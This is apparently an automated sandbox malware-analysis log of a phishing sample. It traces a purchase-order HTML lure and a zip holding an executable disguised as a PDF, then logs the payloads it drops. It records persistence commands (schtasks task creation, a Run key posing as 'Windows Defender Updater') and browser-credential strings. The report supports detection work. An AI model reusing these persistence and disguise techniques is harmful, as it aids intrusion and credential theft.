Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1824,i,8588075686359145488,6745055001318755310,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\REVISED PURCHASE ORDER.HTML
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\itl30nap.yii" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe" /C "C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE {path}
Source: unknown	Process created: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe "C:\Users\user\AppData\Local\Temp\update_232107.exe" / start
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1824,i,8588075686359145488,6745055001318755310,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\REVISED PURCHASE ORDER.HTML	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\itl30nap.yii" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe" /C "C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE {path}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\6fc2ff9f-fa8b-4645-96b1-235bfe1119da.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTML@64/84@26/9

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004501000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.000000000305B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003067000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000405E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Mutant created: \Sessions\1\BaseNamedObjects\update_windows10
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2728:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3012:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6760:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Mutant created: \Sessions\1\BaseNamedObjects\dhVhkxZEXQaWfDA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

File written: C:\Users\user\AppData\Local\Temp\CH_35A22CC8A7\Files\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Run
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Automated click: Continue
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Automated click: Continue
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Automated click: Continue

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source:	Binary string: mscorlib.pdbL} source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.692515521.0000000001626000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.742022872.00000000077C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dCBoazl.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000000.256818546.0000000000EE2000.00000002.00000001.01000000.00000006.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.4.dr, asGTRKuvQ.exe.8.dr
Source:	Binary string: \gom_v_4.0\Zip\Zip\obj\Debug\Zip.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000000.361379081.00000185BE238000.00000002.00000001.01000000.0000000E.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Zip.exe.20.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdbHDp source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.672499287.0000000003BB1000.00000004.00000800.00020000.00000000.sdmp, Newtonsoft.Json.dll0.20.dr, Newtonsoft.Json.dll.20.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.000000000242E000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_052ED8F2 push esi; iretd	8_2_052ED901
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 8_2_06370011 push es; retf	8_2_0637001C
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Code function: 20_2_0194E673 push eax; ret	20_2_0194E679

Source: initial sample	Static PE information: section name: .text entropy: 7.387531714963402
Source: initial sample	Static PE information: section name: .text entropy: 7.387531714963402

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: \po 78182656_pdf rexel india pvt ltd igst_eh2myam.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\update_232107.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\Zip.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	File created: C:\Users\user\Downloads\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
